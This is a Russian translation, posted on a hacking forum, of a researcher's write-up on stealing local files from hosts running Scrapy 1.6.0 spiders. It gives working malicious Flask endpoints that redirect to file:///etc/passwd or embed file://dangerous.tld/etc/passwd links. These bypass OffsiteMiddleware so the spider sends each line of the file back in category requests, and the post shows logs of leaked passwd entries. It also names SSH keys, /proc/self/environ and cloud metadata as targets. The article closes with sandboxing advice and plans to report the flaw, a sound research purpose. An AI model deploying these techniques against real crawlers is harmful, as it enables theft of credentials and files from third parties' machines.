• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья «Сканирование в Интернете считается опасным»: утечка файлов с хоста паука

NokZKH

Переводчик
Забанен
Регистрация
09.02.2019
Сообщения
99
Реакции
121
Пожалуйста, обратите внимание, что пользователь заблокирован
Эта статья снова основана на scrapy (версия 1.6.0 ), и я покажу две методики утечки файлов с хоста паука, однако это не так просто, так как веб-сайт должен соответствовать определенным требованиям, чтобы эта эксплуатация была успешной. Давайте начнем!

Структура сайта
Веб-сайты возвращают данные в нескольких форматах ( html, xml, json, csv, plaintext и т. Д. ), и у эксплуатации, описанной в этой статье, существует тесная связь между форматом данных и структурой веб-сайта. Я собираюсь упростить сценарий, выбирая формат данных plaintext , так как:
1. Если это не соответствует формату (по сравнению с , т.е. JSON ), то паук более терпим к обработке различных данных (ожидаемое содержимое по сравнению с введенным содержимым).
2. Большинство файлов можно читать как текстовые файлы :)
3. Это будет ясно позже.

Исходя из моего первого решения о формате данных, веб-сайт должен отвечать следующим требованиям:

У него должна быть конечная точка, возвращающая текстовые данные, которые используются для выполнения следующих запросов. Неважно, какой тип данных возвращают остальные конечные точки.

Например, это может быть веб-сайт с конечной точкой карты сайта категории, которая возвращает список категорий, а затем паук запрашивает каждую из этих категорий.

Случай 1
Продолжая предыдущую идею, наш первый случай может быть нарисован именно под предпосылкой:
1. /sitemap содержит список категорий на сайте. Это список в виде простого текста, каждая категория которого разделена новой строкой (в виде plaintext ).
2. / category? name = <category> возвращает количество товаров в категории.

Используя Flask , мы можем создать веб-приложение, работающее по адресу http: //dangerous.tld, и основной код будет выглядеть следующим образом:

Код:
import random

from flask import Flask, jsonify

app = Flask(__name__)


@app.route("/sitemap")
def sitemap():
    """ Return category list """
    categories = ["home", "kitchen", "sports", "beauty"]

    return "\n".join(categories)


@app.route("/category")
def category():
    return jsonify({"n_products": random.randint(0, 100)})

Если мы хотим получить количество продуктов, нам нужно создать паука- скрапа, например:

Код:
import json

import scrapy
from scrapy.http import Request


class CategorySpider(scrapy.Spider):
    name = "category_spider"
    allowed_domains = ["dangerous.tld"]
    start_urls = ["http://dangerous.tld/sitemap"]

    def parse(self, response):
        for category in response.body.decode().splitlines():
            yield Request(
                f"http://dangerous.tld/category?name={category}", self.parse_category
            )

    def parse_category(self, response):
        json_data = json.loads(response.body.decode())
        return json_data

Этот паук переходит в конечную точку /sitemap , получает список категорий и запрашивает страницу каждой из них, получая количество товаров в каждой категории. Это вывод паука:

Код:
2019-07-15 09:47:09 [scrapy.extensions.logstats] INFO: Crawled 0 pages (at 0 pages/min), scraped 0 items (at 0 items/min)
2019-07-15 09:47:09 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/sitemap> (referer: None)
2019-07-15 09:47:09 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/category?name=beauty> (referer: http://dangerous.tld/sitemap)
2019-07-15 09:47:09 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/category?name=sports> (referer: http://dangerous.tld/sitemap)
2019-07-15 09:47:09 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/category?name=kitchen> (referer: http://dangerous.tld/sitemap)
2019-07-15 09:47:09 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/category?name=home> (referer: http://dangerous.tld/sitemap)
2019-07-15 09:47:09 [scrapy.core.scraper] DEBUG: Scraped from <200 http://dangerous.tld/category?name=beauty>
{'n_products': 68}
2019-07-15 09:47:09 [scrapy.core.scraper] DEBUG: Scraped from <200 http://dangerous.tld/category?name=sports>
{'n_products': 2}
2019-07-15 09:47:09 [scrapy.core.scraper] DEBUG: Scraped from <200 http://dangerous.tld/category?name=kitchen>
{'n_products': 3}
2019-07-15 09:47:09 [scrapy.core.scraper] DEBUG: Scraped from <200 http://dangerous.tld/category?name=home>
{'n_products': 29}
2019-07-15 09:47:09 [scrapy.core.engine] INFO: Closing spider (finished)

Все работает хорошо, но как насчет того, чтобы сайт стал злостным актером?

Наш старый друг, перенаправь!
Как упоминалось в нашей предыдущей статье, есть проблема с OffsiteMiddleware и, по моим словам:

Тем не менее, интересное поведение происходит, когда есть запрос на страницу в разрешенном домене, но перенаправляет на недопустимый домен , так как он не будет отфильтрован и будет обработан пауком.

Хорошо, будучи злоумышленником, я мог изменить веб-приложение, чтобы создать перенаправление с конечной точки /sitemap на URL-адрес по своему выбору. Когда паук запускается, он запрашивает конечную точку /sitemap и следует за перенаправлением, затем в методе parse он разбивает ответ по строкам и фильтрует содержимое в / category? Name = <line> , используя столько запросов, сколько строк в ответе.

Какой должен быть URL? Это своего рода SSRF (или, как я назвал « Подделка запросов со стороны паука »), тогда мы имеем:
1. Если паук работает в облаке, URL может быть URL-адресом метаданных .
2. Местные службы (как я делал в предыдущем посте)
3. Серверы локальной сети

Что-то другое? scrapy пытается имитировать поведение большинства браузеров, но это не настоящий браузер. Как он поддерживает запрос https или s3 URL? Он использует обработчики загрузчиков, а также обработчик файлов . Это позволяет поддерживать файловый протокол, тогда file:///etc/passwd является действительным URI, который будет преобразован в /etc/passwd в файловой системе паука .

Можем ли мы перенаправить /sitemap в file:///etc/passwd и отфильтровать этот файл? Да, мы преобразовываем это в SSRF + LFI.

Теперь мы модифицируем наше вредоносное приложение, чтобы оно выглядело так:

Код:
@app.route("/sitemap")
def sitemap():
    """ Return category list """
    return redirect("file:///etc/passwd")

При запуске паука на сервере мы получим следующий вывод:

Код:
...]
127.0.0.1 - - [14/Jul/2019 11:34:41] "GET /category?name=rtkit:x:106:112:RealtimeKit,,,:/proc:/usr/sbin/nologin HTTP/1.1" 200 -
127.0.0.1 - - [14/Jul/2019 11:34:41] "GET /category?name=uuidd:x:105:111::/run/uuidd:/usr/sbin/nologin HTTP/1.1" 200 -
127.0.0.1 - - [14/Jul/2019 11:34:41] "GET /category?name=_apt:x:104:65534::/nonexistent:/usr/sbin/nologin HTTP/1.1" 200 -
127.0.0.1 - - [14/Jul/2019 11:34:41] "GET /category?name=messagebus:x:103:107::/nonexistent:/usr/sbin/nologin HTTP/1.1" 200 -
127.0.0.1 - - [14/Jul/2019 11:34:41] "GET /category?name=syslog:x:102:106::/home/syslog:/usr/sbin/nologin HTTP/1.1" 200 -
[...]

С нашим вредоносным приложением мы успешно удалили файл /etc/passwd с хоста паука. Поскольку конечная точка category возвращает ответ JSON, не заботясь о вводе, паук пропускает файл и не вызывает никаких ошибок. Какие другие конфиденциальные файлы доступны?
1. /proc/self/environ
2. Файлы в /etc
3. Файлы типа /.dockerenv, если они существуют

С этим пауком, чтобы получить закрытый ключ SSH, нам понадобится два запуска паука: один для получения /etc/passwd, чтобы получить локального пользователя, а второй для попытки /home/<user>/.ssh/id_rsa . Я сделал нечто подобное в 2014 году в посте « Эксплуатация скребки».

На самом деле, все зависит от комбинации структуры сайта + паука, сколько информации вы можете получить, и сколько пауков потребуется для этого. В худшем случае вы можете создать вредоносное приложение, которое создаст порочный круг и отфильтрует большое количество файлов за один запуск.

Важно отметить: поскольку scrapy выполняет асинхронные запросы, мы не можем гарантировать целостность отфильтрованного файла. Например, если мы exfiltrate файл, как частный ключ SSH, который содержит около 27 строк, мы получим его содержимое в случайном порядке, и нам придется как-то изменить порядок (я думаю, bruteforce), чтобы получить оригинальный файл.

Вариант 2
Теперь мы собираемся изменить веб-приложение. Иногда нам приходится посещать страницу, чтобы получить информацию на стороне сервера, необходимую для следующих шагов. В этом случае веб-приложение сгенерирует токен в /token_sitemap, который нам нужно добавить к следующим запросам в /token_category . Вот новое приложение:

Код:
import random
import secrets

from flask import Flask, abort, jsonify, render_template, request

app = Flask(__name__)
TOKEN = secrets.token_hex(20)


@app.route("/token_sitemap")
def token_sitemap():
    return render_template(
        "first.html",
        url=f"http://dangerous.tld/token_category?token={TOKEN}&category=home",
    )


@app.route("/token_category")
def token_category():
    token = request.args.get("token")
    if not token or token != TOKEN:
        abort(401)

    categories = ["home", "kitchen", "sports", "beauty"]

    return "\n".join(categories)


@app.route("/category")
def category():
    return jsonify({"n_products": random.randint(0, 100)})

Шаблон first.html прост, он повторяет параметр url в теге anchor:

Код:
<!doctype html>
<title>follow the link</title>
<body>
  <a href="{{ url }}">click!</a>
</body>

Паук для этого нового сайта должен быть таким:

Код:
import json

import scrapy
from scrapy.http import Request


class TokenCategorySpider(scrapy.Spider):
    name = "token_category_spider"
    allowed_domains = ["dangerous.tld"]
    start_urls = ["http://dangerous.tld/token_sitemap"]

    def parse(self, response):
        next_url = response.xpath("//a/@href").extract_first()
        yield Request(next_url, self.parse_sitemap)

    def parse_sitemap(self, response):
        for category in response.body.decode().splitlines():
            yield Request(
                f"http://dangerous.tld/category?name={category}", self.parse_category
            )

    def parse_category(self, response):
        json_data = json.loads(response.body.decode())
        return json_data

В parse он использует селектор XPath для получения полного URL-адреса (включая токен ) из тела ответа и запрашивает его. Паук работает и получает количество продуктов в категории.

Код:
2019-07-14 16:53:09 [scrapy.extensions.logstats] INFO: Crawled 0 pages (at 0 pages/min), scraped 0 items (at 0 items/min)
2019-07-14 16:53:09 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/token_sitemap> (referer: None)
2019-07-14 16:53:09 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/token_category?token=394e26b9a7e6fa1a5adccb9c443965252f7ae6a4&category=home> (referer: http://dangerous.tld/token_sitemap)
2019-07-14 16:53:09 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/category?name=beauty> (referer: http://dangerous.tld/token_category?token=394e26b9a7e6fa1a5adccb9c443965252f7ae6a4&category=home)
2019-07-14 16:53:09 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/category?name=sports> (referer: http://dangerous.tld/token_category?token=394e26b9a7e6fa1a5adccb9c443965252f7ae6a4&category=home)
2019-07-14 16:53:09 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/category?name=kitchen> (referer: http://dangerous.tld/token_category?token=394e26b9a7e6fa1a5adccb9c443965252f7ae6a4&category=home)
2019-07-14 16:53:09 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/category?name=home> (referer: http://dangerous.tld/token_category?token=394e26b9a7e6fa1a5adccb9c443965252f7ae6a4&category=home)
2019-07-14 16:53:09 [scrapy.core.scraper] DEBUG: Scraped from <200 http://dangerous.tld/category?name=beauty>
{'n_products': 49}
2019-07-14 16:53:09 [scrapy.core.scraper] DEBUG: Scraped from <200 http://dangerous.tld/category?name=sports>
{'n_products': 65}
2019-07-14 16:53:09 [scrapy.core.scraper] DEBUG: Scraped from <200 http://dangerous.tld/category?name=kitchen>
{'n_products': 90}
2019-07-14 16:53:09 [scrapy.core.scraper] DEBUG: Scraped from <200 http://dangerous.tld/category?name=home>
{'n_products': 30}
2019-07-14 16:53:09 [scrapy.core.engine] INFO: Closing spider (finished)

Давайте теперь будем злыми!

В нашем приложении в конечной точке token_sitemap мы передаем URL в шаблон. Что если мы изменим этот URL-адрес на file:///etc/passwd ? Это изменение:

Код:
@app.route("/token_sitemap")
def token_sitemap():
    return render_template("first.html", url="file:///etc/passwd")

Запустив паука (всегда в режиме отладки ) я получаю следующий вывод:

Код:
2019-07-14 13:38:05 [scrapy.extensions.logstats] INFO: Crawled 0 pages (at 0 pages/min), scraped 0 items (at 0 items/min)
2019-07-14 13:38:05 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/token_sitemap> (referer: None)
2019-07-14 13:38:05 [scrapy.core.engine] INFO: Closing spider (finished)

Ничего не случилось. Если мы вручную рассмотрим конечную точку, вот ответ:

Код:
HTTP/1.0 200 OK
Content-Length: 103
Content-Type: text/html; charset=utf-8
Date: Sun, 14 Jul 2019 11:42:56 GMT
Server: Werkzeug/0.15.2 Python/3.7.3

<!doctype html>
<title>follow the link</title>
<body>
  <a href="file:///etc/passwd">click!</a>
</body>

Он правильно извлекается пауком, и запрос создается, но он не достигает вредоносного веб-сервера и не выдает никаких сообщений об ошибках. Мы должны копаться в этом.

Отладка
Моим первым подозреваемым было OffsiteMiddleware, потому что в случае с перенаправлением мы его избегаем, но, может быть, мы сейчас его достигаем , и поэтому запрос к file:///etc/passwd не выполнен. Это тоже странно, потому что это промежуточное ПО обычно показывает внешние сообщения, но не в этом случае. Полный файл промежуточного кода здесь , но мы будем рассматривать только интересные детали:

Код:
 def process_spider_output(self, response, result, spider):
        for x in result:
            if isinstance(x, Request):
                if x.dont_filter or self.should_follow(x, spider):
                    yield x
                else:
                    domain = urlparse_cached(x).hostname
                    if domain and domain not in self.domains_seen:
                        self.domains_seen.add(domain)
                        logger.debug(
                            "Filtered offsite request to %(domain)r: %(request)s",
                            {'domain': domain, 'request': x}, extra={'spider': spider})
                        self.stats.inc_value('offsite/domains', spider=spider)
                    self.stats.inc_value('offsite/filtered', spider=spider)
            else:
                yield x

    def should_follow(self, request, spider):
        regex = self.host_regex
        # hostname can be None for wrong urls (like javascript links)
        host = urlparse_cached(request).hostname or ''
        return bool(regex.search(host))

Аргумент result содержит наш объект url=file:///etc/passwd. В строке 4 есть проверка: первое условие x.dont_filter == False, а второе условие - логика, она находится в строке 18.

Короче говоря, should_follow() проверяет , соответствует ли имя хоста URL регулярному выражению host_regex. Это регулярное выражение связано с атрибутом allow_domains в пауке, затем оно проверяет, является ли имя хоста url опасным. Tld или его поддомен. Из консоли Python у нас есть это:

Код:
In [1]: print(urlparse("file:///etc/passwd").hostname)
None

Наш url=file:///etc/passwd не имеет имени хоста, тогда проверка не проходит. Поток продолжается в строке 7, а строка 8 снова проверяет hostname нашего URL-адреса , так как значение None не вводит логику if, и поэтому предупреждение о удаленном удалении не выдается scrapy. В любом случае наш запрос будет отклонен.

Может ли URI файлового протокола иметь имя хоста? Я не знал, но согласно RFC , да. Принимая это во внимание, наш новый URL становится file://dangerous.tld/etc/passwd .

Код:
@app.route("/token_sitemap")
def token_sitemap():
    return render_template("first.html", url="file://dangerous.tld/etc/passwd")

Запустив паука снова, мы можем увидеть журнал exfiltrating /etc/passwd в обход OffsiteMiddleware :

Код:
[...]
2019-07-14 15:21:14 [scrapy.extensions.logstats] INFO: Crawled 0 pages (at 0 pages/min), scraped 0 items (at 0 items/min)                 
2019-07-14 15:21:15 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/token_sitemap> (referer: None)                     
2019-07-14 15:21:15 [scrapy.core.engine] DEBUG: Crawled (200) <GET file://dangerous.tld/etc/passwd> (referer: http://dangerous.tld/token_si
temap)                                                                                                                                     
2019-07-14 15:21:15 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/category?name=pulse:x:116:121:PulseAudio%20daemon,,
,:/var/run/pulse:/usr/sbin/nologin> (referer: None)                                                                                       
2019-07-14 15:21:15 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/category?name=colord:x:114:120:colord%20colour%20ma
nagement%20daemon,,,:/var/lib/colord:/usr/sbin/nologin> (referer: None)                                                                   
2019-07-14 15:21:15 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/category?name=kernoops:x:115:65534:Kernel%20Oops%20
Tracking%20Daemon,,,:/:/usr/sbin/nologin> (referer: None)                                                                                 
2019-07-14 15:21:15 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/category?name=whoopsie:x:113:119::/nonexistent:/bin
/false> (referer: None)
[...]

Выводы
Когда вы просматриваете веб-страницы, это происходит в одном направлении: паук извлекает информацию с веб-сайта, а не наоборот. Тем не менее, при наличии ряда факторов злоумышленники могут быть в состоянии отфильтровать данные с хостов пауков, неожиданно ставя под угрозу конфиденциальную информацию.

На мой взгляд, уроки из этого поста:
1. Запускайте своих пауков в изолированной среде.
2. Проблема перенаправления является серьезной уязвимостью.

Я собираюсь сообщить об этих проблемах и начать сотрудничать, чтобы найти решение с командой scrapy. Я надеюсь, что в следующем посте у меня будут новости об этих проблемах и о том, как мы их исправим.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх